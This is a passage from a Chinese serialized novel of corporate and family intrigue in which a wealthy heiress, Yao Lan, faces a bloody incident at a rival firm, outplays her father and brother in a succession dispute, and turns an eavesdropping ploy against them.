“哦,确实是这么回事。好像他们还是发小?” “我也听说了。不过这几年也没见老刘和许应达有什么往来啊?前年许应达那个生日宴搞得那么大排场,老刘都没去……是不是早就闹掰了?” “可我怎么觉得像是避嫌啊?就那个岛的事儿,你们都听说过吧?老刘和许应达还一起上去过。” “这周边海域有几十个岛,你说的是哪一个?” “装傻是吧。” “这怎么叫装傻呢,你倒是说清楚啊!” “呵,我就不相信在座各位有人会不眼馋。这里谁不想回春啊?” 说到这,又话音一顿,转向倪泽熙:“当然,像是倪总这样年少有为、英伟不凡的人物,肯定是不需要了。” 倪泽熙眼里带笑,语气中也有几分好奇:“叔伯们说的是什么岛?” 众人你看看我,我看看你,直到其中一人干笑两声:“害,说出来也不怕你笑话,就是……” 只是这话还没落定,倪泽熙的手机就响了。 他看了一眼来电显示,接起时还顺手点开免提。 一时间,雪茄房里就只有助手的声音:“倪总,我们到处都找不到刘副总。后来听业务部的人说,一个小时前就将刘副总送到十六楼的休息室了。” 十六楼? 所有人都盯着手机。 有人追问:“你说的是哪一间?我们都在十六楼啊!” “就是雪茄房里面那间。” 那不就是这里?! “嘿,你个老刘,躲在屋里偷听是吧?瞧我怎么修理你。”刚才挑起岛屿话题的股东立马拍着扶手站起身,几个箭步就冲到身后不远处的门前。 他先是用力拍了几下,又喊:“老刘,开门,我们都知道你在里面!” 手机已经被倪泽熙挂断,他右手边的副总小声问:“这是唱得哪出啊……” 倪泽熙同样低声解释,语气带了一丝无奈:“先前刘叔在业务部多喝了几杯,有点上头。” “这老刘。” 正在拍门的股东是个急性子,见刘副总半晌不回应,便用力去掰门把手,直到雪茄房的正门被人推开,助手拿着钥匙快步上前。 股东让到一旁,还准备着等门开了就发难,不想门刚被助手拉开,就有个重物顺势倒了出来,还一下子压到他脚上。 再低头一看,吓得他连忙往后退了一步,接着一屁股坐了下去。 “啊!” 听到股东的叫声,原本正在说笑的倪泽熙,只微微侧了下身,朝后方看去。 “这……这是怎么了……”有高层问。 可跌坐在地的股东却半天吐不出一个字,只是本能地撑着地面往后退。 众人纷纷起身。 助手似乎也受到惊吓,一边要去搀股东一边看向其中个子最高的男人。 “倪、倪总……刘副总他……” …… 事情发生得 太过突然,十六层闻声而至的员工们全都挤在门口,而雪茄房内早已经乱成一团, 助手已经拨打了急救电话,公司配备的医护人员也在第一时间冲上来。然而眼前的场景却远远超出他们的预计。 刘副总身上有多处伤口,不仅深而且锋利,有几道正在往外冒血。 他身上的衬衫西装早就被血侵染渗透,再扯开这些湿漉漉的布料一看,胸前和腹部的伤口中还扎着两块三、四公分大小的碎玻璃。 公司的医生哪见过这样的阵仗,只能和护士一起手忙脚乱地将碎玻璃择出去,再给几处比较严重的伤口进行止血包扎。 可这样一套组合拳下来,效果却并不好。 旁边的股东忍不住叫着:“我说你到底是不是医生啊,止个血都不会!谁把你招进来的?!” 医生试图解释,声音抖得如筛糠:他能做的都做了,而且公司配备的急救箱就这么些东西,刘副总的伤势也远远超过日常救助的标准。 “真是废物!”股东骂了一句,又问助手,“救护车怎么还没到!” “是啊,快去催催!” 几位高层全都束手无策,有的连站的力气都没有,还有的从兜里摸出药瓶,赶紧倒一颗服下。 站在吧台边的倪泽熙,手指在台面轻轻敲了两下,说:“不管怎么说,你只管尽力救人。” “可,可是……” 万一没救回来呢?万一最终结果是,因为初期的救治不当,导致伤者错过了被救助的最佳时机怎么办? 直到倪泽熙再度开口,音量足以让这里每个人都听到:“瞻前顾后,只会影响你的专业判断。只要不是身为医护人员故意见死不救,就不会触犯法律。至于结果如何,这里所有人都能做见证,公司不会追究。” 医生终于松了口气,一边点头一边开始新一轮的救助。 可不到几分钟,又遇到新的难题。 “快,再去拿些纱布,还有止血绷带!” 护士刚要起身,这时就从人群中响起一道清脆的声音。 “我这里有!” 众人齐刷刷看过去,挡在门口的员工们也纷纷让开通道,正好见到一个年轻女人抱着急救箱冲了进来。 她没有将急救箱交给任何人,而是跑到跟前扑通一声跪了下去,也不顾现场的凌乱和地上的血,边打开箱子边医生说:“我也学过急救,我可以帮忙!” 医护的压力似乎因为这句话缓解了些许,几人很快合作起来。 现场所有人的情绪也都被提了上去,被挡在后面员工试图站得更高,想要看清楚里面的情景,而站在前方的,紧张之余还不忘拿出手机抓拍现场。 助手发现了,立刻制止,并小声对众人说:“拍照的都给我删了,这里的事儿都不能传出去,否则后果自负。” 这番动静似乎并没有干扰到倪泽熙,他的站姿始终不变,凝聚的目光全然没有理会过周围几个焦躁的高管,只在忙碌的医护身上环顾一圈,最终才落在那个女人的背上。 不知过了多久,门口终于有人喊道:“救护员来了!” 屋里众人同时松了口气,公司的医护士也连忙起身。 那始终背对着门口的女人也在这时让到一旁,不想一抬眼,就对上倪泽熙的眼睛。 13. Chapter 12 Chapter12 园区外不知何时多了一辆黑色轿车,肖越和司机就等在车边。 王严云问:“你还有别的事?” 姚岚没接这茬儿,只说:“来的那辆车你开回侦查局吧,我会叫人取。” “得,那就回见了。”王严云轻笑着拐进小路,头也不回地走了。 直到姚岚就着肖越打开的车门坐进去,问:“什么事?” 肖越和司机刘寻突然出现,必有要事。 不想话音刚落,姚岚的手机就震动起来。 来电显示:姚珹。 不好的预感涌上心头,姚岚快速按下接听。 没有寒暄,姚珹的语速很快:“一个小时后,姚坤的飞机会在麦城降落。” 姚坤,一个小时,麦城? 短短一句话,将三个本不该联系在一起的信息摆到一起。 姚岚沉着呼吸,思路快速飞转,又听姚珹说:“五分钟后,爷爷会和你连线,你爸也在。” 又是一个意料之外的发展。 显然,肖越的出现也是因为接到姚珹的消息。 可眼下来不及多问,姚岚只吐出两个字:“谢谢。” 电话切断,姚岚抬起眼皮直视肖越:“有没有场外信息?” 肖越说:“刚打听到,姚坤提前结束休假。连他身边的人都不知道为什么,只知道在这之前大姚总亲自去看过他。” 大姚总就是姚坤和姚岚的父亲姚万忠,也是第二代的掌权人。 姚坤大了姚岚近十岁,自小就被当做继承人来培养,而姚岚则一直被培养走艺术、哲学这条路。 然而就因为十年前的一场意外,一切都变了。 此后这十年,兄长不再温文尔雅,父亲也不再和蔼可亲,反倒是今天前来抵信的堂弟姚珹,逐渐和姚岚站到同一边。 偏偏现在姚氏的大部分权利还在姚万忠手里,无论是争产还是夺权,姚岚都不能做得太过分。 肖越快速分析道:“麦城的部署已成定局,姚坤这个时候来,摆明了是要坐享其成。但也不是没有办法阻止他的飞机降落。” 姚岚眉宇微蹙,只平淡地吐出几个字:“对付一个废人,值得大费周章么。” “这方法是有点极端,但……”肖越本想再说点什么,却被手机铃声打断。 是三方视频电话,而且提前了。 姚岚吸了口气,不到一秒就切换上笑脸,将电话接起。 她先是看向姚万忠,轻声说了句:“爸,好久不见,您身体怎么样?” 随即姚老爷子也出现了。 “爷爷。” 姚万忠的笑容真是压也压不住,却不是因为见到女儿,而且还有一种算计得逞的意味。 只听姚老爷子说:“好了,先说正题。姚岚,我们都知道你在东南亚开荒辛苦,这个工作本来也不该落在你身上。现在正好有个机会,可以让你从泥潭中脱离出来。” 泥潭,脱离? 姚岚笑容不改地玩味着这些字眼,目光对上老谋深算的姚老爷子,却并不接招儿。 姚万忠将话题接过来:“是这样,你大哥已经在欧洲那边谈好了一个项目,提前谁都没说,也算是给你一个惊喜。只要你飞过去接手,所有资源都是现成的。他还说了,这么好的机会肯定是要留给亲妹妹,你回头可得好好谢谢他。” 哦,原来如此。 一个是欧洲,一个是东南亚,换谁听了都会觉得去欧洲是个美差,更高大上,而东南亚不仅落后,且各方面条件都远不如欧洲。 可事实上呢? 欧洲市场早已饱和,如果姚坤真能在短时间内拿下令人眼馋的大饼,这样的惊喜也绝对不会便宜给她。 有了思路,姚岚不动声色地再次看向姚老爷子,他却没有任何示意,连个微表情都捕捉不到。 所以,爷爷是在坐山观虎斗? 一老一少就这样对视着,似乎都在等待对方的反应。 姚万忠见状,继续施展演技:“至于东南亚这边,你走了,还是要找个信得过的人去坐镇才行……爸,您说呢?” 姚万忠也算是孝顺,还知道将“恶人”的角色孝敬给姚老爷子。 姚老爷子这才笑了笑,眼角的条纹路都舒展开:“那就让小坤去吧。” 从大陆的春城到东南亚的麦城,直飞要四个小时,姚坤的飞机还有一个小时就降落了,然而眼下却表现得像是临时决定一般。 最不要脸的是,那个坐享其成的人还打着“肥水不流外人田”以及“肥差留给亲妹妹”的旗号。 姚万忠得便宜卖乖道:“你哥身体不好,在东南亚少不了吃苦,可就因为是为了把你换回来,他没有一点怨言。这就是你大哥的担当。在家族里,我们从来没有因为性别就给你们定性,但东南亚这个地方,你也知道男人过去会更方便,也更安全,行事手段上也会展现出不一样的风格。我相信以你大哥的手腕,必然会在那边开创一片新气象,绝不会让局面再上一层楼。” 姚岚始终面带微笑,耐着性子听完整段漂亮话,也知道这话根本不是说给她听的。 看,这就是姚家明明内斗的一贯基调,都已经把你架在火上烤了,你还得谢谢对方的为你着想。 如果到这时候她还不接着,反而显得她不识抬举。 可时间就这样一分一秒地过去了。 姚岚笑容渐深,只是弯着眼睛说了这么一句:“意思就是,许应达死守的秘密,打算就样放弃了?” 听到这话,姚万忠的脸色倏地变了,质疑道:“姚岚,你……” 姚老爷子却将他打断:“你先等一下。” 随即又盯着姚岚:“具体点。” 姚岚的语速并不快,无论是姿态还是眼神都可谓是气定神闲、成竹在胸:“我和许立荣的交易已经达成,用不了多久那东西就会落在我手上。我本来想拿到以后再给大家一个惊喜的……如果这个秘密姚氏还想要,那么这边的实权就要继续放在我手里。” 气氛如同紧绷的弦。 一时间,姚老爷子和姚万忠都没有言语,他们一个正在审视、评估姚岚的话有几分真,另一个则逐渐沉不住气。 而姚岚始终和姚老爷子对视,只因她知道,最终拍板定论的人只有他。 当然,她要是不够能力扭转这一局,也没脸在长辈面前委屈哭诉。 简单一句话,无论是争还是抢,姚家人手握多少资源都得靠实力说话。 不知过了多久,姚万忠终于坐不住了,先前的慈父形象瞬间荡然无存:“你是不是不想交权?你大哥都已经飞过去了,你突然这么说,不是要给他难堪吗……” 姚万忠的话却再一次被姚老爷子打断:“你有把握吗?” 姚岚双手环胸,微微扬起下巴:“没有我就不会提了。您是知道的,我从不打无把握的仗。” “那你倒是说说,你跟许立荣交换的筹码是什么?”姚万忠追问,“直接交给你大哥不是一样吗!” 姚岚却不理这茬儿,只看着姚老爷子:“爷爷的意思呢,那东西还想要吗?还需要我继续推进吗?” 言下之意就差直接说了:要,就我来要,赶我走,就一拍两散。 “这还用问吗?”姚老爷子的态度也逐渐明确,不再似之前那样模棱两可。 “爸……”姚万忠心里一沉,却还想再挣扎一番。 姚老爷子却说:“八仙过海各显神通,难怪外面的人都说你是姚家第三代最出色的那个——好,拿下许立荣,你想要什么都行。” “爸!”姚万忠叫道。 姚老爷子哈哈大笑,高兴极了,然而话锋一转,又道:“不过凡事皆有代价,如果你这次无功而返,不仅要退出东南亚,欧洲那边也轮不到你。同意吗?” 姚岚微笑:“当然。” 事情一定,姚老爷子便率先切断视频。 姚万忠却迟迟没走,脸色阴沉地盯着姚岚。 “你以为我不知道你打什么算盘?说大话谁不会,合着那边的市场都是你吹出来的?现在给你台阶你不下,到时候会走得更难堪。” 姚岚轻笑一声:“高回报意味着高风险,其实这边有多艰难您一直都是知道的。您一句关心没有,眼瞅着大局初定,就想从我手里拿走一切。可您又不放心交给外人,只想便宜给大哥——他那个身子骨能熬多久?这里的牛鬼蛇神他镇得住吗?真有这个本事,他也不会变成今天这样。” 姚岚每个字都在戳姚万忠的脊梁骨,何况姚坤还是他一手扶起来的,倾注了半生心血。 姚万忠越发气急败坏:“这几年家族资源一再向你倾斜,你已经得到太多不该你拿的,还不知道见好就收!丢人现眼的赔钱货……” 听到这里,姚岚的笑声终于溢出来,眼底却早已冻起冰霜:“那些,都是我自己凭本事挣来的。就算要给出去,也得是我自己愿意,轮不到任何人来编排。” …… 狠话撂完,视频切断,毫不意外的再次不欢而散。 姚岚看向窗外,神色中却不见半点愤怒。 事实上她也没时间生气,当务之急还是要先解决眼下才行。 一直坐在对面的肖越问:“姐,许立荣那里你真的谈好了?” 明明只见了一面,这么快就达成合作? “没有。”姚岚淡淡道。 “什……那,那现在怎么办?” 话已经说出去了,难道只能走一步看一步? 只听姚岚说:“小刘,先去机场。” 刘寻应道:“是。” 肖越的眉头已经打了结:“真去接机?” “戏做足,事儿做实。”姚岚说,“目标坚定,拿到应得的回报,我们不是一直都这么过来的吗?而不是像姚坤那样,整天想着抢别人的成果。” 肖越说:“不管怎么说你们都是兄妹,他这种吃相连底下人都看不过去,我不相信老爷子会没看法。” “这世界很公平,要么会办事,要么会做人,而姚坤两样都没有,就是因为他是姚家人,还是老大。可那个位子早晚都会空出来,所谓能者居之,现在早就不时兴长子长孙继承那一套了,而我们只需要做好准备。” 说到这,她眯了眯眼,又轻笑着说了句:“要是空出来了都没坐上去,哭破天都没用。” 14. Chapter 13 Chapter13 姚坤一行人是直接包机来的麦城,按理说会走专属通道。然而肖越前后问了几趟,都没有姚坤一行人的抵达信息。 姚岚一直等在贵宾室,只要一抬眼就能看到门口。姚坤讲究排场,不管他们是否在这里逗留,动静都不会小。 可随着时间流逝,依然迟迟见不到人。 直到肖越折返,问:“会不会是改时间了?” 既然在视频会议中,姚岚已经稳住姚老爷子的决定,或许姚坤接到消息,一个不高兴索性原路返回呢? 姚岚吸了口气,起身说:“不可能,他不会这么容易死心。” “那现在……” “先去出口等。” 之前在车里生出的不好预感,并没有因为视频会议的谈判结果而缓和,反而越发强烈。 而她的预感一向很灵验。 会是什么? 姚岚的脸色并不算好,心思也飘忽不定,脚下虽然朝着接机区的方向走,思路却早已发散,忍不住提前预设接下来可能会遇到的阻碍。 肖越似乎也注意到姚岚的心不在焉,遂先一步开路,时不时回头看向她。 “这边。” 姚岚却好像没听到,低垂着眼睛,目光掠过石砖的纹路、脚上那双小羊皮鞋,以及从身边经过的每一个人。 “姐,小心……” 肖越的声音刚响起,她的视线里就突然出现了一双白色的软面休闲鞋,款式低调简单。 她的步速并不快,足够给对方时间看到有人,并且让开。 可白鞋的主人还是选择“撞”上来。 她立刻刹住脚,身体下意识朝前倾斜了一下,同时抬起双手,反应已经很快了。 对方却比她更快,一只手已经扶住她抬起的手臂。 抬眼的同时,耳朵先听到对方的嗓音:“姚岚。” 很低,也很熟悉,在这川流不息的接机区显得无比清晰。 浅淡的笑容,和倪泽熙有八成像的深刻轮廓,以及差不多的身高和身材。 外人总是将两人混淆,唯独是那双黑如子夜的眼睛让人一下子就能区分开。 竟是倪泽晟。 姚岚一顿,发散的思绪在这一刻瞬间收拢,下意识问:“你怎么会在这儿?” 话音落地,她本能地才挤出一个疏离的笑容,不经意扫过他的装束——浅色衬衫和长裤,很休闲,而且连一件行李都没有。 “刚降落。”倪泽晟似乎一点都不意外,“刚在飞机上还听说你最近会很忙,可能来不了,没想到你真来了。” 在飞机上听说、刚降落……这前言不搭后语的。 姚岚刚要追问,却发现倪泽晟还握着她的小臂,便若无其事地将手抽出来。 他掌心的温度划过她的皮肤,原本握住的地方还残留着余热。 姚岚忍住用手去搓的冲动,按耐住所有情绪,只允许理智凌驾于一切。 直到所有问号归到一处,她才再次开口,问出一个连自己都觉得荒谬的问题:“你,该不会和我大哥在同一架飞机上吧?” 除此之外,她想不出别的可能。 果然,抬眼的瞬间,只见倪泽晟笑着露出一排牙齿:“是啊。你不知道?” 她该知道吗?连姚坤要来也是一个小时前才接到的通知。而且他们是怎么搅到一起去的? 姚岚摇了摇头,镇定得没有丝毫破绽:“怎么这么巧,还是有合作?” 就算是合作,也应该是倪泽熙。 倪泽熙才是麦城本土企业寰宇的总经理,而倪泽晟对外只是个艺术家。 姚岚又问:“那他人呢?” “刚有点事耽搁了,应该快了。” 倪泽晟话音刚落,肖越便来到两人身边:“人到了。” 姚岚刚转身,就见到一行将近二十人的队伍浩浩荡荡地出了闸。 前面的几乎都是熟面孔,不是助手就是医生护士,直到坐在最后面的姚坤和方妮挽着手出现。 姚岚快速切换上公式化的笑容,迎上去道:“大哥、大嫂,一路辛苦了。” 两人见到姚岚,并不意外。 姚坤点了下头,只瞥了姚岚一眼就越过她,走向倪泽晟。 “你可真是脚下生风啊,我还以为你落在后面了。” “是归心似箭,想早点呼吸到熟悉的空气。” 这边,方妮的香水味儿十分不客气地钻入姚岚的鼻腔,还热络地拉起她的手:“哎呦,这个地方可太热了!我本来安排好一系列行程,刚下飞机就不想去了。你居然在这里待了三年,真是太辛苦了!对了,你知不知道哪里又好玩又凉快又不会很累的,一定要介绍给我。” “当然。”姚岚始终挂着笑容,看似和方妮和很亲密,却不忘借由跟方妮说话的机会转身,同时扫过前面正在说笑的两个男人。 姚坤一如既往地目中无人,刚才对上的第一眼,他眼底明显有气,显然是在飞机上就收到消息了。 姚老爷子没有吐口,姚坤的此行目的也会随之改变,从夺权变为绝对不让她好过——就算拿不走东南亚的话语权,也会不惜一切代价地搅黄她的好事。 至于另一个…… 姚岚心思一转,目光落向旁边个子更高的男人身上。 他似有感应,略薄的唇扬起笑,正在回应姚坤,眼神却朝她这边扫来。 两人目光对上,他眼角微弯,上挑的眼尾夹杂着一丝令人难以分辨的意味。 姚岚精准地捕捉到,却来不及看清,他便收回目光,应对姚坤又多了几分从容。 所以他们从什么时候开始这么熟了? 以姚坤不可一世的作风,就算要主动结交什么人以实现自己的利益,也不至于错得这么离谱。 除非……倪泽晟身上潜藏了什么价值,是姚坤看重的? …… 回程的车队早已安排好,然而临上车前,姚坤突然说自己不舒服,需要更宽敞的环境,最后竟只带了三名医护人员一起上了第二辆车,还让人“呼啦”一下将门关上。 被挡在外面的方妮尴尬地拨了下头发,对姚岚说:“你大哥啊,总是晴一阵雨一阵的。” 话落,也不等安排,就径直走向头车。 从头到尾,姚岚一句话都没说,直到在方妮身边坐下。 不过片刻,倪泽晟也上了车,就坐在姚岚对面的空位上。 他的腿偏长,刚落座鞋尖便碰到她的。 姚岚刚错开,就听旁边的方妮说:“说起来还真是有缘,转来转去都是一家人。” 姚岚微笑着转头:“你们是在哪儿遇到的?” “就是上一站新加坡啊,多亏了泽晟,你大哥才能拿到那两幅画,他可是心心念念了好久啊……” 新加坡,艺术品。 所以倪泽晟之前在新加坡? 姚岚又看向对面,这才发现倪泽晟一直望着她。 “刚好那两幅画在一个做收藏的同学手里,我就帮忙牵了个线。” “哎,哪儿是牵线那么简单啊。你大哥的人跟他谈了很久、很久,就是谈不下来。结果你一出马,三言两语就给解决了!还是你有本事。” 方妮的话匣子一打开就关不上,根本不用姚岚追问,她就接着往下透露:“我原来只知道泽晟是艺术圈的,这次接触了才知道他这眼睛有多毒!你大哥非常引以为傲的一件收藏,他只看了一眼就说是假的……你大哥起初还不信,后来找了好几位专家看过,才知道原来是让人下套了。” “哦,是这样。”姚岚只是虚应着。 直觉告诉她,就算世界再小,也不会同时出现这么多巧合。 机会永远会留给有准备的人,这句话的重点就在于“准备”二字。如果没有准备,他们根本不可能在新加坡遇到。 那么又是哪一方制造的“巧遇”呢? 正想到这里,副驾驶座的肖越突然开口:“岚总,刚接到消息,说是寰宇那边出了命案。” 后座几人的注意力同时被转移,方妮更是惊呼出声:“命案?!那泽熙没事吧?” 肖越回:“倪总没事,但听说好像受了伤,要不要……” 姚岚只皱了下眉,又听方妮说:“要不你先去看看他吧,我们不要紧的,我可以换辆车。” 姚岚却轻声道:“不用。泽熙会处理好的。” “可是……”方妮叫道,“你可是他的未婚妻啊!万一伤势严重……他现在一定需要你在身边啊。” 姚岚望向方妮看似焦急的表情,又看向坐在对面沉着眉眼,不发一言的倪泽晟,耳边却回荡着视频会议里的交锋,以及姚家人的各种反应: 姚珹的洞若观火、姚老爷子的冷眼旁观、姚万忠的气急败坏、还有姚坤的心有不甘…… 千思百转之间,所有信息汇聚在一起,最终只化作一个决定。 “即便我现在赶过去也没用,我又不是医生,能帮上什么呢?” 方妮看上去惊讶极了:“话虽如此,可你……” 姚岚却将她打断:“他会没事的。” 方妮愣了几秒,也不知道想到什么,这才摆了摆手说:“哎,算了算了,也许是我太紧张了。为了你大哥的身体,我可真是没少受惊吓。我是真的怕了!” 话落,方妮又看向倪泽晟:“你也是的,当弟弟的听到哥哥受了伤,也这么淡定。” 倪泽晟扯出笑容:“我相信嫂子的判断。” “呦!”方妮扫了姚岚一眼,“这还没过门呢,就提前叫上了。” 肖越又一次接起电话,他只应了两声,便向后面转达:“坤总说,想让姚太太去后面陪他。” “这个人真是,明明离不开我,刚才就该让我一起上车嘛……”方妮脸变得很快,嘴里抱怨完,又对着姚岚来了句,“真是给你添麻烦了。” “都是一家人。”姚岚微笑道。 方妮很快走向第二辆车。 直到车门关上,肖越从前面塞过来一枚蓝牙耳机:“姐。” 姚岚接过,戴在耳朵上:“开车吧。” 车子再度发动,同时肖越按了个按钮,车子中间跟着升起一个隔音挡板,将空间划分成两个。 倪泽晟从头到尾都没有动作,表情也没有丝毫变化,如同一个局外人。 直到挡板完全盖严,他才收回看向窗外的目光,落在姚岚脸上。 姚岚一手搁在旁边的座椅上,另一手却伸向刚才方妮坐过的位置,来回摸索着,嘴里看似无意地找了个话题:“你大哥说,你想再去念个哲学学位,是真的这么想,还是随口一说?” 倪泽晟瞥向她手上的动作:“前两个月有这个想法,不过现在改主意了。” “怎么突然去新加坡了?”姚岚又问,手上的动作终于停了。 就见她从车座缝隙中掏出来一只手机,还通着话,通话方还显示着“老公”二字。 她将手机屏幕示意给倪泽晟,他只扫了一眼,便笑道:“我就是个闲人,能随心所欲地想做什么就做什么,无非是仗着有大哥撑腰。累他受着,苦他吃了,我心里感激,同时也感到很苦恼……” “苦恼什么?”姚岚接道,“无论你要做什么,他都会支持。多少人羡慕你呢。” 倪泽晟垂眸笑了笑:“苦恼……我既读不懂大哥的心思,就连自己真正想要什么都不清楚,不知道该用怎样的心情活着。” 什么意思,他在演什么? 难道是故意说给电话对面的姚坤和方妮听的?还是想要借她的口,转达给倪泽熙? “也许你该去度个假好好放松一下。”姚岚并不认真地建议道。 倪泽晟却好像听不到似得,又来了句:“也许我只是嫉妒。嫉妒他拿走一切我想要却得不到的。” 姚岚不由得拧起眉心,眼神里也多了一丝警告。 倪泽晟却笑意更深。 与此同时,蓝牙耳机里也传来方妮的声音:“他俩打什么哑谜呢?” “还能是什么。”接话的是姚坤,“看来那些调查都是真的,他俩真的有一腿。” 这两人自诩为螳螂捕蝉,故意将手机留在后座,以便偷听头车的对话,却不知道这层算计早被洞悉,这会儿全都一字不漏地落进姚岚耳中。 “可那些照片拍的也不清楚啊,距离又那么远……”方妮说,“他们两兄弟长得那么,到底是哥哥还是弟弟,谁也不敢肯定。再说,送照片的人到现在都没露面,也不知道到底想要什么……” 照片?什么照片? 姚岚心里刚生出疑问,就听到姚坤这样说:“不管怎么样,这事儿也许真能利用起来。也许那消息是真的。” “你指的是,倪万山原本要过继的是倪泽晟,却临时变卦,改成倪泽熙?” “呵,只是一念之差,这两兄弟的身份、地位、命运就发生天翻地覆的变化。如果是你,你会怎么想?” “那还用说。当哥哥的偷着乐,当弟弟的只能打碎牙齿往肚子里咽呗。” “如果我告诉你那所谓的‘一念之差’是人为改变的呢?你说这个当弟弟的又会怎么想?” 怎么…… 这番话只有姚岚一人听到,脸上的表情虽然没有变化,心里却掀起不小的波澜。 她就这样直勾勾地看着倪泽晟,好一会儿都没有言语。 没想到就在这时,倪泽晟忽然有了动作,先是放下交叠的双腿,松开安全带,遂倾身朝她压了过来。 姚岚的眼睛越睁越大,却碍于两车之间的“监听”而不能有太大反应。 倪泽晟却好似吃准了这一切,一只手撑着她身后的椅背,另一手压住她的手腕,嘴唇扬起刻薄的弧度,盯住猎物的眼神片刻不离。 直到他的唇几乎要贴上她的。 她微微偏了下头,他的唇似有若无地扫过她的唇角,又滑向耳畔,声音低得几不可闻:“不管你听到的是什么,也许都是他们故意说给你听的。你了解他的手段,他又何尝不了解你?” 话落,他又退开寸许。 姚岚抬起眼皮,两人就这样近在咫尺地对视着。 15. Chapter 14 Chapter14 车子开到半路,姚坤又提出新难题,说是不想住酒店,还说千篇一律的套房都住腻了,跟坐牢一样。 接着又话锋一转,问起姚岚一个月前购入的“月光别院”。 等一行人抵达别院,已经是一个小时后。 下了车,方妮就第一时间跑回头车,看上去很慌乱,嘴里还说着:“天呐,该不会是落在机场了吧?” 姚岚跟着问:“大嫂找什么?” 直到方妮拿着已经停电关机的手机下来,呼了口气:“吓死我了,原来是掉在缝隙里了。” “找到就好。”姚岚微笑着就像是什么都不知道一般,和方妮一同走进别院,目光略抬,看向走在前面的姚坤呢倪泽晟。 前面两个男人一直在说笑,声音时不时传过来,主要是姚坤,音量不小。 也不知道倪泽晟说了什么,明明话比较少,像是随口回应,却将姚坤哄得不行。 【倪泽熙这个人,你一定要小心。】 【至于倪泽晟,可堪利用。但也仅止于此。】 耳边传来这样两句话,是遥远的“记忆”正在攻击她。 姚岚若无其事地问:“大哥的身体最近怎么样?” “还是老样子。”方妮叹了一声,“现在哪怕是摔个跟头,我都提心吊胆的。” 说到这,方妮又靠近了些,挽着姚岚的手臂轻声道:“这事儿也就是跟你念叨一下,其实原先我们还想过要接触许应达的,不过时机不太巧。现在那片园区不是划到咱家了吗,我原本还以为从你这儿配个‘零件’会比找外人更方便呢。哎,可我刚一问,你大哥就跟我急了,说你过来是做正当生意的,黑产绝对不可能沾……岚岚啊,你就跟大嫂透个底,那么大一块蛋糕,不管它是黑的还是白的,它就是没有成本的暴利啊,难道你就真的不眼馋,一点都不碰?” 呵,原来是在这里等着她呢。 也不怪那些负责看守园区的本地人,会认定姚氏接管园区只是换汤不换药罢了,内核还是靠“引进人口”再“拆分零售”盈利。 这话要是换一个外人说,姚岚一点都不稀奇,没想到连方妮都这样试探,也不知道是真这么想,还是故意装傻。 “真的。”姚岚微笑着回,“那里要发展成数字产业园,连周边的发电厂都买下来了。将来是数字时代,谁的算法最精准,谁能将词元的成本压到最低,谁就能挣钱。低价抄底,高价售出,就跟炒房子一样。” “真的假的……可我怎么觉得这事儿有点虚呢,都是抓不着看不见的东西。” “前些年大嫂不是玩过虚拟货币吗,差不多的意思。” “哦,你这么说我好像明白点了。哎,这种事儿我一问你大哥,他就不耐烦……那按照你的说法,以后你在这边就是炒卖什么词元?” “短期看,这的确是除了房地产之外其中一项比较重要的投资,长期么还说不好,有可能会在高估值的时候转手。” “所以你很看好它的前景?” “当然,现在市场还比较空,这时候不占等什么呢?” “那要是我拿点私房钱出来跟你玩一手,怎么样?” 姚岚步子微顿,扫了眼前方,又转向面含期待的方妮:“意思就是你知我知?” “还是你聪明。”方妮说,“要是明着来,你大哥肯定不同意。他啊,什么都要弄得很正式。可我不过就是小打小闹玩一玩,何必弄得人尽皆知的?你放心,赔了我绝对没怨言。” “有我在,不会赔。”姚岚笑容不改地落下这样一句。 方妮乐了:“我就喜欢你这点,爽快!” …… 月光别院是改良过的中式庭院,设计师是新加坡人,而之前的业主正是许应达的大哥许应为。 不过许应为和妻子没机会住进来,在许应达的园区被军方攻占的前一天,夫妻俩就死于一场车祸。 姚岚买下这里原本就不是为了自己住,而是投资。因售价低,装修和景致也算到位,在持有期间还可以给公司员工做度假屋用。 别院不算小,姚坤一行将近二十人也住不满。 刚进主屋,方妮就自顾自到处参观了,还说要选一间最合心意的卧室。 姚岚抽空点开手机扫了一眼姚珹的信息:“姚坤一向没耐心,你时间不多。” 的确,姚坤的算盘落空,肯定不愿意跟她长期消耗,而短期内如果不使点阴招,他根本毫无胜算。 姚岚正要回,姚珹又发来一句:“听爷爷说,你立了军令状。如果做不到,你也留不久。” “我知道。” 姚岚边走边想,只是刚走进整个别院位置最佳,面积最大的套间,就听到姚坤说:“你们都出去。” 姚岚在门口站定,看着与自己擦肩而过的医疗团队,又扫向站在屋子中间,双手叉腰,浑然一副正在巡视领地姿态的姚坤。 显然他那一肚子气自己是消化不了了,必须找人发泄出来。 果然,门刚关上,姚坤就转身质问:“你知不知道你现在的吃相很难看?” 姚岚挑了下眉,双手环胸地走进屋里,来到水吧前倒了杯水,边喝边听。 “你一个野种,还是女人,那个位子根本轮不到你。为什么你就不能收起野心,安安分分地做个姚家女人。我是你大哥,只要你听话,我不会亏待你。”姚坤的声音并不算高,语气却很刻薄。 就这样安静了片刻,姚岚放下杯子,笑着直视姚坤:“所以在大哥眼里,所谓的实力和资格,指的就是你的出生和男性身份。我还以为你会贬低我的能力、人格和运气。” 每次针锋相对,特别是当姚坤最不爽的时候,他挂在嘴边的所谓她的“软肋”就只是那两点,因为那是他认为最致命,也最瞧不起的东西,同时也是他最引以为豪的优势。 有时候姚岚真是不懂,怎么人和人的认知会差这么多? 难道姚坤看不出来吗,他最尖酸刻薄的刁难,却是她最不在乎的东西。而他越是咬着出身和性别不放,就越是变相承认她的个人能力,因为这些方面他根本挑不出毛病。 姚岚轻笑着抬眼,慢条斯理的语速,眼里却透着寒光:“可笑的是,无论是你妈还是我妈,都不是原配,为什么大哥总能摆出自己才是正统的姿态呢?如果我和你是同父同步的亲兄弟,以我今天的成绩,你对我还是现在这种态度么?” 姚万忠明媒正娶的妻子还没有生育就死于一场意外,而姚坤和姚岚的母亲当时都是外室。 “不要以为我不敢教训你。”姚坤的痛处被戳中了,“不想待会儿出去没脸见人,就管好你的嘴。” 姚岚却没有住嘴,又倒了一杯水,边说边走向姚坤,将水杯端给他:“大哥真以为我是你唯一的阻碍吗?难道只要我让开了,你就一定坐的上去?如果真有那个实力,那么有多少个我,你都不会抱怨。你之所以愤怒,是因为我的出色令你原本的关注变少了,你希望所有兄弟姐妹都不如你,不管你的表现有多差,其他人 都不能冒头。对自己的期望过高,就注定了心态会不稳。放低姿态,多做事,少争吵,才是生财之道。” 姚岚的语气很平和,态度也算柔顺,可她说的每一个字听在姚坤耳朵里都像是教训和教导。 而他的尊严和面子不容挑衅。 